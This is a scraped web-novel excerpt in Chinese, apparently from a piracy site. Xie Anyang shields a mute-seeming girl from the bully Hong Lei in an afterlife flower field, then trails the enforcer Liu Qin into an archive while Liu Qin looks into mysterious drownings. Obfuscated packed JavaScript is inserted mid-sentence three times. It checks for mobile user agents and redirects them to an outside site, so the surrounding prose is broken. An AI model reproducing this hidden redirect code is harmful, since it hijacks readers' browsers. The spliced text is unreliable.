“小气鬼,”吴桉凑过来,将一个巴掌大的木盒递到他面前,“要不要?” 谢安阳瞄了一眼,“这什么?” “不要算了,我扔了。”吴桉却不慌不忙收了回去,还作势往忘川河里扔。 谢安阳眼疾手快地抢了过来,半信半疑地打开,看到里面的红色石块,遂愣了一下,难以置信地问:“这是辰砂,你从哪得来的?” “你就说要不要?” “要!” 看他小心翼翼地收起来,吴桉不解地问:“这东西有什么用?” “你不懂,”谢安阳气这就算消了,“说吧,哪来的?” “地府有个人身上掉的,看着新鲜就给你带来了。” “哦,谢谢啊。” 吴桉又看向他那幅画,“你画的这什么,好眼熟。” 谢安阳用铅笔扒开他的爪子,“这是忘川府。” 一听是忘川府,人们纷纷围了过来,没敢靠河岸太近,便远远地看,还不忘议论纷纷: “忘川府是长这个样子吗?” “距离上次离开忘川府过去太久了,我都忘记是什么样了,想不到如此气派!” “不对不对,我怎生记得从前是个破草房。” “你是几百年前来的吧,我来的时候就是安阳画上的样子。” “你俩都没错,从前就是个破草屋,听说是几十年前找人新建的,现在的确气派多了,我仅仅看过一眼,就被惊艳了。” 谢安阳感慨说,“仿样式雷设计,能不气派吗?” “样式雷很厉害吗?” 可能是到了茴香豆的认知范围,他凑上前搭了句腔:“那是自然,北平的故宫、天坛、圆明园等等,很多皆是样式雷家族的设计!” 谢安阳惊奇地瞄了一眼茴香豆:“你还知道这个?” “我祖上与雷家有过来往。”茴香豆得意洋洋地说。 “要脸不?” 茴香豆干笑一声,没接话。 谢安阳心里暗暗思忖:这忘川府与人间相似的地方这样多,就连枉死城内也是一样。若不是这些缺胳膊断腿的人,他恐怕就会认为这里是人间了。 看吴桉在发呆,谢安阳便问:“你不是地府的阴差嘛,怎么不知道忘川府?” 吴桉翻个白眼:“枉死城属于自主,不归地府管辖,我们地府的人员如非必要,也不能随意来这边溜达。何况我当初进忘川府时浑浑噩噩,无知无觉被人扔进花田里,很多事都想不起来了,再后来就一直在对岸打杂,哪知道这么多?” 谢安阳默默给他一个嫌弃的眼神。 吴桉不高兴了,“信不信我把你踹下去?” 谢安阳还没说什么,韩先生就站出来说:“不兴开这玩笑,忘川水如同化尸水,你们两个年轻人莫要闹了。” 有人附和了一句:“是啊,可别开玩笑,若是掉下去,就算及时被差使救上来也会非死即残的。上回有个人掉进去都没人敢救他,两位大人把他救上来的时候,他虽保住了一缕残魂,却成了个傻子呢。” “这么吓人?”有个姑娘看样子陌生,应该是个新来的,胆儿也小,她吓得脸色苍白,便抖了抖身上的鸡皮疙瘩,又往后退了退,“那咱们离远点吧。” “是啊,当心些吧,可能是岸边泥土太过松软,近来总是频繁有人掉下去,还是小心为上,别靠太近吧。” 谢天阳默默地看向河面,此时的水面未起波澜,平静得像一汪死水,深邃而莫测。 谢安阳方才来的时候,特意观察过岸边的淤泥,看着的确松软,但底层的土够硬,还不至于踩塌掉下去,更何况这些人连河畔都不敢靠近,又怎么会轻易掉下去? 非要说是意外,他第一个不信。具体原因是什么,得靠刘钦自己去查了。 正沉思着,那边又有个人急匆匆地嚷嚷了一句,“哎,那边好像出事了。” “怎么了?慢点说。” “好像有个新来的小孩让洪磊他们揍了。” “又是洪磊?走吧走吧,我们去看看怎么回事!” 众人起着哄,还有几个人跟谢安阳招招手,“安阳,要不要一起凑热闹?” 谢安阳:“不了,忙着呢。” 这些人也是可怜,长久以往在花田里只能面对腐尸和石蒜,无趣至极,一旦发生什么奇奇怪怪的事情,总要围上去凑一番热闹。 喧闹声渐行渐远,人群一哄而散,就连茴香豆也感叹一句,“你不去,我可得去看一眼,毕竟这里相当无趣。” 谢安阳可没那兴致,便敷衍地应了一声,“去吧。” 他回过神,正准备继续画画,突然被吴桉拽了一把。还怪疼的,他皱眉瞪吴桉一眼,吴桉却翻个白眼,“大少爷,你看着点啊,这里可是忘川!” 谢安阳愣了一下,茫然地问:“你叫我什么?” 吴桉伸手探了探他额头,再抚着自己父母,感到很疑惑:“不热啊。” 谢安阳好一会才缓过神来,默默打开他的手,像是突然想到了什么,顺其自然地说:“我昨晚做了个奇怪的梦。” 吴桉眉目一凝,“哦,梦见什么了?” 谢安阳打了个哈欠,抄起铅笔继续在画上加深颜色,“我梦见有人喊我大少爷——你说奇不奇怪,都什么年代了,还有这种称呼。” 吴桉笑着调侃了一句,“没准你上辈子真是哪个地主家的傻少爷。” “滚。” “他们都去凑热闹了,你不去么?” 谢安阳没精打采地说:“花田的人打打闹闹很平常,又不是没见过,有什么可看的?” 吴桉看向他的画,不解地问:“你为什么这么喜欢画画?” 谢安阳狡黠地笑起来,“枉死城太无聊了,我闲的。” 吴桉看他画了一会,发现更无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496492|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,便把他铅笔抢过去扔掉,“别画了,咱们去凑热闹。” 谢安阳难以置信地盯着他,“你不用工作??” “今天休假,不行?” “我怎么没见杨洵休过?” 吴桉继续翻白眼,“我哪知道他们忘川府的规定,他们又不归地府管。” 谢安阳不理他,重新找了支铅笔接着画。 吴桉继续抢过去扔掉,在谢安阳发作之前,一把拽着他往前走,“快走吧,一会赶不上他们了。” …… “新来的就要懂规矩,是你的地盘吗你就往这躺?”人群深处传出来一个粗狂而骂骂咧咧的男声,“死哑巴,别给老子装,赶紧起来滚一边去。” 紧接着是拳打脚踢的动静,被打的人自始至终没吭过一声。 有人忍不住劝解:“洪磊,得饶人处且饶人吧,年纪这么小的姑娘,当心遭报应哦。” 洪磊不以为意,还冷笑一声,“已经死过一次的人了,你说什么报应?老子劝你少管闲事,不然连你一块揍!” 吴桉拉着谢安阳想进人群里,谁曾想这些人围得水泄不通,好容易挤进去了,还有人不耐烦地嚷嚷,“你俩干甚,来晚了就自觉在外面待着,非要挤进来,烦不烦?!” 吴桉连连道歉,谢安阳却没那闲功夫搭理他们,只见到里面有个十来岁的女孩正被两人按在地上踹。 旁边还有个中年男人得意地笑着指挥,“打到她求饶为止!” 小崽身上全是污泥脚印,甚至带了不少血迹,却不曾哼过一声,只将自己蜷缩成一团,似乎是个哑巴。 在洪磊下一拳即将落在小崽身上之前,谢安阳下意识抓住了他的胳膊。 洪磊力道不及,张口就骂:“哪个王八蛋!” 谢安阳稍微用了点力不让他动,“你怎么能欺负小孩?” 有人跟着附和:“大家同是天涯沦落人,何至于此啊!” 可惜了,洪磊是个练家子,只见他反手一拧,众人便听到一声骨头脆响,谢安阳甚至来不及躲,就被他一脚踹翻在地。 洪磊不屑地冷哼一声,“没用的东西,还学别人逞英雄。” 谢安阳捂着胸口看他,瞥了一眼小姑娘,也不知道哪根筋又不对了,突然生了莫大的勇气,奋力起身掀开洪磊,随后只身护住了她。 紧随其后的是更加杂乱的拳脚相加,这几个人就没想过手下留情,加上来到花田生出的怨气,便一并发泄在了他身上。 谢安阳腾出右手挡住脸,从缝隙之间看外面的形势,里三层外三层的人都在围观。众人敢怒敢言,却没人敢真正动手阻拦,而吴桉也在众人的推搡中被掀了出去。 洪磊见这俩人没有反抗,笃定这个后来的年轻人也很好欺负,便遣开了两个小弟,上手抓住谢安阳的胳膊,一边往外拽,还一边骂骂咧咧:“老子让你多管闲事!” 就在洪磊以为要把这两人分开的时候,谢安阳却突然反抓住他的手腕,指尖几乎要掐进肉里去。 他抓的角度很刁钻,周围的人看不真切,还以为洪磊仍在欺负二人。 9. 花田(四) 洪磊试着挣扎了两下,却发现撼动不了分毫,这个动作被他高大的身躯挡得严严实实,在外人看来,依旧是他在压制谢安阳。他有些沉不住气,便压低声音警告:“松手!” 谢安阳眸光平静得如同一汪死水,他挑衅地望着洪磊,手下又加深了力道,很快就有血流出来,顺着指缝往下淌。 洪磊突然意识到他可能是装出来的,便气急败坏地怒喝:“你找死!” 谢安阳无动于衷,现在的情况没法当众伤人,但他也不能让洪磊好过,否则这事没法收场,得让洪磊怕了才行。 身边的黄毛感到困惑:“洪哥你怎么了?” 洪磊烦躁地怒吼一声:“吵什么,滚开!” 黄毛明显有些怕他,但感觉自己也有些丢面,便将目光看向周围的人,凶恶地威胁说:“看什么看,再看把你们都扔进忘川河!” 另一个小弟是个光头,也跟着附和:“散了散了,有什么好看的?” 这几人横行霸道惯了,众人都有些忌惮忘川河,便小声骂骂咧咧地散了。 就在洪磊几乎想要讨饶时,身后突然响起一声焦急的呼唤:“安阳!” 与此同时,谢安阳松了手,洪磊敏捷地收回手,抬脚就踹。 这一脚踹实在了,谢安阳几乎栽到女孩身上,他眼疾手快地一手撑着地,随即侧跌到一旁,总算是没有碰到她。 洪磊气急之下又想一拳砸过去,胳膊就被人拽住了,对方力道同样大得惊人,他便没好气地骂了一句,“又是哪个王八蛋!?” 吴桉冷冷地望着他,“欺软怕硬谁不会?” 吴桉说完就松手了,洪磊晃了个趔趄,幸得秃子扶了他一把,否则铁定摔了。 黄毛也挽起袖子想要上前揍人。 洪磊余光扫过鲜血淋漓的手腕,又看见谢安阳一脸无辜的模样,顿时心生忌惮,深知这回碰到了硬茬,便拉住黄毛,“罢了,走!” 花田的人身上有血是寻常,黄毛丝毫没察觉异常,便嚷嚷了一句:“那怎么能行,看老子不把他们打到哭爹喊娘……” 洪磊一把将他拽了回去,“回来,懒得跟他们一般见识!” 黄毛没辙,只好退了回来,但也不甘心地骂吴桉:“你有病吧,他是你们什么人,就这么爱多管闲事!?” 吴桉不以为然地说:“谢安阳是我兄弟,他是枉死城的人,你们怎么敢动他?” 谢安阳撑起身子,默默竖了大拇指,“好兄弟!” 洪磊却看向谢安阳:“谢安阳是吧,我记住你了,有种等着!” 谢安阳:“?” 谢安阳心中无限悲戚:这波自报家门真是厚道。 吴桉却没在意这些,还冷冷地警告:“还不快滚!” 谢安阳趁机补了一句,“等个屁,有能耐来枉死城找我!” 翻译为人话就是:我就窝在枉死城,有本事你进来啊! 洪磊自知打不过吴桉,他同样拿捏不准谢安阳是装的,还是真是个练家子,万一是后者,那也算踢到石头了。 洪磊颇为不甘,却又无可奈何,只得负气骂了一句“晦气”,骂骂咧咧地离开了。 “等着!”黄毛和秃子齐刷刷地翻个白眼,也飞快地跟了过去。 吴桉将谢安阳扶起来,顺手想将女孩捞起来,她却见鬼似的往后躲开,还将自己缩成一团。 谢安阳感觉到古怪,侧身瞄了一眼吴桉,也走上前准备拉她起来。 哪知小姑娘更害怕了,拼命往后躲,还连连摇头,唯恐被谢安阳碰到。 吴桉无情地嘲笑:“看吧,她怕你。” 这话其实不对,她分明是同时害怕他们二人。 吴桉说:“别凑热闹了,我也该回去了,一会顾不到你。” 谢安阳看到女孩这副模样,情不自禁生出了怜悯之心,便心不在焉地回了一句,“你先走吧。” 他好奇地伸手,本意想帮女孩擦掉眼角的污迹,谁知女孩吓坏了,索性一口咬住他的手腕。 谢安阳几乎想将这小丫头片子甩开,但联想到什么,又强行忍住了。 有一说一,真的很痛。 谢安阳忍得面容扭曲,只能握紧了拳让她咬,还是吴桉看不下去了,上前一脚踹开了女孩。 谢安阳也是够贱,见她被踹倒后就一动不动,还以为她出了什么事,便走上前准备看一眼她的情况。 吴桉连忙拉住他,“你干什么?” 谢安阳话音冷了下来:“你踹她干嘛?” “你……”吴桉感到很无语,一时气急道:“这里的人已经死过一次了,不会有事的。” 那为什么这小崽还蜷缩在地上不肯起来? 她含糊不清地呓语着什么,谢安阳凑近了也没能听清,只知道她一直在重复两个字,就问:“你说什么?” 小崽回过神来,又立马躲开了。 谢安阳只好关心起自己手腕上几乎见血的牙印,浮夸地吹了吹伤痕,面色痛苦地抱怨:“咬痛快了没?” 小崽暗暗看了一眼,探头问:“……疼不疼?” 原来不是哑巴啊。 就等她这话。 谢安阳:“疼死了!” 小崽弱弱地说:“对不起。” “一句对不起有什么用,你跟我走吧。” 小崽感觉上当了,又目露凶光。 吴桉这回忍不了了,怒喝了一声,“谢安阳你失心疯了??” “你别说话。” 吴桉把他拉到一旁,气愤地说:“你想带她离开?花田的人巴不得离开这个鬼地方,她知道你是枉死城的人,说不定是故意装出这副样子来骗你的。” “我感觉不是。” 吴桉不甘心,看他转身欲走,便拽住他的胳膊,“你把她带回去,她也进不了枉死城!你别不识好歹,我要不是担心你被骗,都懒得管你。” 谢安阳则不轻不重地甩开他,“你快回去吧,不然一会就没有船到对岸了。” 吴桉愣了一会,看他又想跟小崽沟通,忽然问出一句:“安阳,她跟你是什么关系?” “自然是英雄救美,谁不想当英雄?”谢安阳飞快地接了话。 吴桉哑口无言,只得扔下一句,“随便你,我回去了。” 谢安阳没再搭理他,正要走上前找小崽,面前就突然有个男孩扑到了他脚边,还泪汪汪地说:“哥,你带我走好不好,我不想待在这里了!” 小崽瞥他俩一眼,又嫌弃地别开眼。 洪磊和吴桉走远了,人群也已经散去,个别零散的人也目光呆滞地瘫在淤泥中,四周几乎没什么人会注意这里。 谢安阳忽然来了兴致,默默蹲下身去,抬手捏住男孩的下巴,看他泪眼汪汪的,着实可怜。 谢安阳的手缓缓往下移,在碰到男孩的脖颈的时候,忽然毫无预兆地一把掐住了,后者的脸憋红了,几乎喘不过气,拼命地扒拉他的手。 在男孩几乎两眼一翻的瞬间,谢安阳的左臂突然钻心地灼痛起来,他当即松了手,就想要扒开衣袖,但想到什么,又忍住了不去碰。 男孩呛得一边咳嗽,一边吓得往后躲。 谢安阳没理会他,来到小崽面前,微微弯下腰,轻声问:“你叫什么名字?” 小崽冷冷地说:“忘了。” “我给你取个名字吧?” 谢安阳还没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496493|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及听她答应,身后不远处又传来一声炸毛的大嗓门,“谢安阳你一天天不找事难受是吧?” 要是说整个枉死城谁敢这么吼他,一是城主郑康,二就是刘钦了。他下意识将手抓进了淤泥中——他的指尖方才染了洪磊的血,得用淤泥来掩盖。 反正淤泥中本就有血污,别人只会认为他摔了一跤,指尖蹭到了血泥。 刘钦带了一堆差使,身旁还跟着杨洵和韩先生。 韩先生关切地问:“阳儿,你没事吧?” 方才就没见着韩先生和茴香豆,看样子是搬救兵了,谢安阳便问:“孟先生呢?” 一提到他,韩先生似乎才发现茴香豆没跟来,便忍不住吹胡子瞪眼,“他让我去找忘川府守卫来帮你,转眼人又不见了。” 谢安阳倒没在意,就“噢”了一声,说:“我没事。” 杨洵也问:“你怎么到这边来了?” 谢安阳正准备回答,洪磊又瞅准时机从花丛深处跟了过来,谢安阳猜到他的目的,便高贵冷艳地抱起胳膊,一指不远处的洪磊,“他们欺负小孩,执法大人你不管管?” 洪磊连滚带爬了过来,着急忙慌地向刘钦展示他那只满是鲜血的手,手背上布满淤青和伤痕,“谁欺负谁啊,执法大人,这是那小子抓的,您可得给我做主!” 好,来这一套是吧,爷最在行了。 谢安阳当场捂住腹部,眉头也拧作一团,还剧烈地咳嗽了几声,打断了洪磊的骂骂咧咧,半晌才将气息喘匀,他有气无力地说:“对不起洪大哥,都是我的错,我真的不是故意的。” 刘钦可太了解谢安阳了,正要骂他别装,就见他转而一脸无辜地模样看向自己,“执法大人,都是我的错,我自己承担,不要连累了别人咳咳……” 洪磊这回忍不了了,“谢安阳你他妈别装!” 身后的小崽却突然出了声,还指着洪磊,软声软气地说:“你踹了他好几脚,他衣服上全是脚印。” 刘钦这才注意到谢安阳胸前有几个血泥脚印,可能是一时心软,又默默把脏话憋了回去。 谢安阳一脸茫然,故意摆出身上衣物的脚印,却低呵一声,“别胡说,这是我自己摔的,与洪大哥无关,对不起执法大人,我又给你添麻烦了。” 杨洵也在一旁添油加醋:“安阳虽然顽劣了些,但欺凌弱小这种事他做不来……” “你说谁弱小,他分明……”洪磊张口就骂,但觑到刘钦愈发铁青的脸色,声气又压了下去,“执法大人,我没有说谎,谢安阳绝不是一般人,您相信我!” 刘钦烦躁地下了令,“先把这小子带去忘川府问责。” 洪磊懵了:“就这样?他抓我那一下手都残了!” 刘钦却回头冷冷地问:“你在花田作威作福了多少年,忘川府没管着你,是因为事儿不够大,哪天你要是闹出人命,你猜忘川府会不会管?” 洪磊心虚,却还是试图,“他方才还掐那孩子了,你看他……”然而那男孩可能是怕了,早已不知去向。 杨洵则好心劝告:“今天执法大人心情不好,你再闹,他真会把你沉忘川。” 洪磊这回怕了,深知谢安阳不是一般人,还有很硬的后台,要想动他只能从长计议,只得强行压下了不满。 谢安阳却有气无力地问:“那执法大人,你能否把这孩子带上,我看到她就想起了生前三天两头饿肚子的时候,你知道的,我从小就自卑,长这么大还不敢跟别人说话,好容易遇到……” “带这小丫头走,下不为例。”刘钦忍不了一点,直接打断了。 “那就多谢执……哎你干嘛……”还没说完,就被身边的杨洵拖走了,丝毫不给他面子。 10. 花田(五) 等到远离花田,谢安阳就装不下去了,赶忙扒拉开杨洵,故意凑到刘钦旁边与他并肩走在一起。 刘钦白他一眼,“滚远点,爷嫌弃。” 谢安阳张口就质问:“你拉我出来干什么?” 刘钦冷笑:“你还有脸问,我不拉你走,难道让你继续丢人现眼?” 谢安阳没好气地回怼:“那么多人,我就不要面子?” 刘钦也很气愤:“你那点面子值几个钱,你就说枉死城有谁像你一样天天找事?” “你……不可理喻!” 刘钦瞥了一眼他指尖的血泥,问:“手怎么了?” 谢安阳扫了一眼,淡声说:“被洪磊推了一把,栽的。” 刘钦:“该。” 谢安阳没在意,又凑上前问:“洪磊的事你打算怎么办?” 刘钦继续往前走,面色毫无波澜,“这事儿你别管。” 谢安阳追问:“你最近是不是在查花田的案子?” 花田里虽有“恶人”,但大多并非大奸大恶之徒,所以忘川府并没有当回事,但近来频繁有人“失足”掉下忘川。 事出蹊跷,遇到害群之马须得找出来交给地府,否则扰乱秩序,可能还会影响到枉死城的城民。 刘钦一脸莫名,转头看向杨洵。 杨洵连忙耸耸肩,“我没说过,应该是梧桐跟他说的。” 谢安阳讨好地说:“我可以帮你。” 刘钦环抱着胳膊反问:“大少爷,你没事儿做吗?” 谢安阳不理会他的阴阳怪气,接着问:“你刚才是不是挨个去问花田的人了?怎么样,有结果了吗?” 刘钦翻个白眼,“没有。” 谢安阳一副意料之中的表情,故作高深地说:“花田的人多数已丧失神智,还保持清醒的人都不敢靠近忘川河,这里每天都有人来,也不断有人消亡,你若问他们身边少了谁、哪里有异常,应该是问不出来的。” 刘钦问:“所以?” 谢安阳尾巴都翘起来了,“我建议你从洪磊查起。” 刘钦这就不高兴了,“谢安阳,别以为我刚才帮过你,就会无条件纵容你。你就算是想利用我报复他,也稍微带点脑子。” 谢安阳眉头一蹙,觉得他可能误会了什么,“这种人天不怕地不怕,最容易捅娄子,你问那些执念不散的疯子,还不如问这种头脑清晰的恶人。” 刘钦微微一笑:“花田时常有差使巡逻,有这么多人出事,他们却从始至终没有觉察,对方必定心思缜密,而洪磊没有那个脑子做到天衣无缝。” “洪磊做不到,不代表他什么也不知道,他横行霸道惯了,肯定去过花田很多地方,说不定看到过什么,反而很多花田的人总会待在某一处发呆,很少四处走动,你问他们有什么用?” 刘钦却眉头一挑,支着下巴盯了他一会。 谢安阳:“干嘛?” 刘钦问:“关你什么事?” 谢安阳稍微怔了怔,随后垂下眼眸,似乎有些失落,“我听说城主骂你了,有点心疼,就想着帮一帮你,想不到你竟然不信我。” 刘钦:“?” 谢安阳抬眼望着他,“难道在你眼里,我不值得信任吗?” 杨洵没忍住嗤笑一声。 刘钦继续翻白眼,“你好好待在枉死城,这些事不用你管。” 谢安阳叹息一声,“可惜了,我与花田好多人相熟啊,我还想帮你问问……” “你帮什么?”刘钦打断他的话音,“花田的人怕忘川水,难道你不怕?你就那么想送死!?” 谢安阳正要辩驳,又听刘钦没好气地打断:“闭嘴!杨洵,带他滚回去!” …… 刘钦没回南园,而是径直去了西园,但他没想到的是,转眼有个狗皮膏药也跟了进去。 西园掌事看到谢安阳,懵了一下,“安阳,你怎么来了?” 刘钦回过头,“???” 杨洵很无奈,“我拦不住他。” 西园掌事是个中年人,名叫明庭,是个和蔼的长辈。谢安阳平日没事就爱四处闲逛,结识了不少人,最会讨这些长辈欢心,明庭也不例外。 见刘钦想说话,谢安阳飞快地抢着说:“明叔,刘钦让我来帮他查一份卷宗。” 刘钦:“?” 来西园借阅文书卷宗都是要登记的,明庭就很信任谢安阳,都没问要什么卷宗,就乐呵呵地温声说:“记得放回去就好。” 谢安阳乖巧地应声,“好的明叔。” 刘钦能怎么办,难不成给他踹出去? 忘川府根据优先级考虑,三楼放的是地府法则,二楼放的是载史,而一楼大堂则是城民的档案卷宗。 偌大的堂中布满层层叠叠的木架,木架上摆满了成千上万的卷宗,空地处还有几张桌案,每张案上笔墨纸砚一应俱全。 当着明庭的面,刘钦不好发脾气,便找了张桌案坐下,还对谢安阳微微一笑:“想帮我找卷宗是吧,过来,我让你找。” 说完还对明庭说:“明叔,您让所有人出去吧,谢安阳一个人就够了。” 谢安阳:“???” 谢安阳就有种不祥的预感。 明庭不疑有他,说:“也行,有什么事的话我就在外面。” 杨洵也跟着说:“你们忙,我带这小丫头去休息?” 小崽犹豫了一下,抓着杨洵的手看向谢安阳。 谢安阳抬了一下眉,轻声说:“去吧。” 小崽眉目拧成一团,似乎不太情愿走,可谢安阳已经将视线挪开,她再不愿意,还是被杨洵牵了出去。 刘钦抄起一支钢笔,神情认真地在信纸上写着一份名单。 谢安阳眼见周围没人了,便有些待不住。一想到过会儿会被当作驴使唤,他是越想越气,便站起来来来回回地走,晃得刘钦头疼,“你再晃来晃去,就滚回枉死城。” 谢安阳没跟他计较,突然留意到天花板的角落处多了只眼球——他记得以前是没有的,现在忘川府好像平白多了几颗这玩意。 谢安阳随口问:“这是什么?” 刘钦瞥了一眼,漫不经心地回答:“窥镜。” 谢安阳没再说什么,鬼使神差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496494|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跑去扒拉窥镜——明明就是个眼球,非要叫什么窥镜,花里胡哨。 他伸手摸了摸眼球,眼球竟痛苦地扭曲了一下眼瞳,而后周围响起了一个沙哑而又刺耳的声音,“警告!异物遮挡!警告!异物遮挡!” 谢安阳继续摸。 窥镜也是忍不下去了,直接开骂:“把你的脏手拿开!” 居然会说话。离谱。 “现在的人工智障这么先进了吗?” 刘钦愤怒地咆哮:“它先不先进我不知道,我只知道你再碰它,老子一定剁掉你的手给它压惊!” 就离谱。 谢安阳不甘心地问:“这玩意有什么用?” 刘钦将手中的一纸名单扔给他,“不是想帮我吗,去把这些人的档案找出来,少一份你今天别想回去了!” 谢安阳看向木架上密密麻麻的卷宗,顿时感到脑仁疼得慌。他假模假样地帮忙翻找,口中还不忘絮絮念叨:“你说花田的人又没做过恶事,何以落到那个下场?” 刘钦正在整理卷宗,“他们自己忘不掉,无法去轮回,你同情他们有什么用?” “到底是谁规定的,必须忘记才能轮回?” “不然呢,让他们带着记忆轮回,把前生的恩怨带到人间,不死不休闹个没完?” “可公正何在,凭什么恶人有机会轮回,而花田的人不过是执念不散,就要化作石蒜的养料?” 刘钦却突然认真地反问:“你说公正,可若任由他们带着记忆去轮回,对其他人又是何其不公?” “怎么就不公了?” 刘钦感到很无语:“说你蠢还不承认,所谓轮回,就是重生,上一世已经结束,新生就该从头开始才算公平。而带着记忆去轮回的人认知普遍会凌驾于常人之上,这就相当于作弊,难免会有人借着信息差欺负常人,何来公正可言?” “那他们就活该吗?” 刘钦斟酌了半分钟,杨洵突然过来放了一盘桃子到桌上,还扔下一句,“东院里端来的。” “这不是你我能说了算的,奉劝你少管闲事,以免惹祸上身,”刘钦抓起一个啃,又阴阳了一句:“看不出来你这么善良。” “本少爷一直很善良。” 刘钦翻个白眼:“我这辈子最后悔的一件事就是相信你的连篇鬼话!” “……” 谢安阳找不到话辩驳,说白了他向刘钦抱怨没有用,就算跟城主说,可能也改变不了什么。 谢安阳看到他抓起桃子啃,一时间很不爽他吃独食,也有心转移话题,便故意唉声叹气,“美好的事物往往伴随着危机。” 刘钦不知道他哪根筋又不对了,就鄙夷地翻个白眼,“所以?” “就像桃子,越甜的桃子,往往里面会出现四处蛄蛹的虫……”谢安阳一顿,强行改口道:“蛆!” 刘钦正准备啃下一口,闻言顿住了,目光下意识看向桃核,很担心看到有只蠕动的小东西。 谢安阳又补了一句,“最可怕的是,你一口下去都不知道有没有吃到过——蛆!!” “谢安阳你给老子滚!” 11. 花田(六) 谢安阳就不滚,看向手里的名单,这么多卷宗,感觉就算循着木架上的签辞找,也得找到猴年马月吧。 “说起来,你查这些人干什……”谢安阳话音顿了顿,突然留意到有个名字有些眼熟,像是花田巡守的差使。 谢安阳抬眼看向刘钦,“你怀疑花田的守卫?” 刘钦却没回答,整理好桌案上的笔墨纸砚后,转身朝一个方向去了,还扔下俩字,“过来。” 谢安阳乖乖跟过去。 来到刘钦跟前,他又情不自禁地想:我是不是太过言听计从了? 刘钦带他来到一处木架旁,挨个点了卷宗数,到某一份卷宗时,随手抽了一份出来,木架就自行滑动挪到了旁边。 呈现在二人面前的是一堵墙,准确地说是一道幽蓝的、透明的门,还散发出温和的荧光。 门上方有只半死不活的猫头鹰,正耷拉着翅膀,脑袋埋进了翅膀里。 这时,刘钦突然伸右手到谢安阳面前,表情一度不太耐烦。 谢安阳:“干什么?” 刘钦烦躁地说:“想进去就抓着。” “不在这里找了?” “我说在这里找了?” “……”就挺不做人的。 谢安阳诚惶诚恐地抓住他胳膊,就见他扒开了左袖,露出了彼岸花印记,掌心则抵按在光门上。 猫头鹰扑腾了两下翅膀,尖着嗓子喊:“你好,刘钦!” 前有眼珠子说话,现有猫头鹰开口,很神奇。 谢安阳还在发呆,就被刘钦拽了进去。 他进去的一瞬间,猫头鹰似乎犹豫了一下,接着说:“你好,沈……” 但猫头鹰还没说完,就被谢安阳扯了下脚,它断音后愣了愣,又若无其事地恢复最初的状态,继续耷拉着翅膀睡觉。 刘钦察觉不对,正要问出口,谢安阳却踉跄着推了他一把,就像是进来时被什么东西绊了。 刘钦顺手扶住他,没好气地说:“毛手毛脚,要不是人手都被叫走了,真不想让你进来。” 谢安阳没空怼他,兀自回想方才猫头鹰说了什么。他只听清了“你好”二字,并不知道猫头鹰会说什么,抓它的脚主要是为了防范于未然,没想到还是让它说出了一部分。 最后一个字听不真切,好像是“沈”?至于是哪个“沈”就不知道了。 刘钦看他不吱声,就问:“你怎么了?” 门后是个盘旋着向下延伸的楼梯,像条盘踞的巨蟒,看着怪深的,是个地下室。 楼梯间每隔一段距离就有枚幽绿色的荧光石,狭小的空间里格外幽绿亮堂,诡异的气氛也接踵而至。 谢安阳小心翼翼地问:“这是哪?” 刘钦瞥了一眼胳膊上的爪子,谢安阳立马松手了。 刘钦这才说:“花田那些人的卷宗都放在这里。” 谢安阳感到不解,“这怎么还区别对待?” 刘钦难得平心静气地说:“如你所言,他们指不定哪天就会消失,自然不能把他们的卷宗与其他人归类到一起,容易乱。” “噢。” 谢安阳默默走下楼,仍旧在想猫头鹰口中的字是不是“沈”,便假装随口问起:“对了,上任城主是什么人啊,我怎么都没听别人说起过……” 谢安阳没接着说下去,因为他感觉刘钦似乎僵了一下。 刘钦出奇地没怼他,还神情严肃地警告说:“以后在忘川府少提老城主,这是忌讳。” 他要不说忌讳,谢安阳都不一定有兴趣刨根问底,他这一问,瞬间就微妙了,“都什么年代了,还搞封建那套忌讳?” 刘钦没好气地说:“我是为你好。” 谢安阳满不在乎地说:“不说也行,我多找几个人打听打听,总能打听到一星半点。” 刘钦压着火气,只好说:“二十多年前,忘川府发生过动乱,牵扯了很多人进去,具体我不清楚,总之闹得挺大,我有个……” 刘钦似乎意识到自己说错了话,又强行改了口:“忘川府的大奸大恶之徒都得交给地府处理,有个人移交给地府之前出了意外,还让他步入了轮回。当时很多人被追责,地府下了缉拿令,但至今没找到那个人。” “关老城主什么事?” “这我不清楚,听说上头说他治下不严,就换了现在的新城主。” “噢。” 刘钦走在前面带路,“有些浑话你在我面前说说就好,别遇到什么人都口无遮拦,老城主的事你当个真,现今没人敢提这事,你也不要乱问别人,否则城主追责,我也帮不了你。” 谢安阳又忍不住问:“我感觉城主他老人家没这么小气吧?” 刘钦越听他说,不禁生了“他在套话”的念头,便没好气地说:“到此为止,我只知道这么多!” 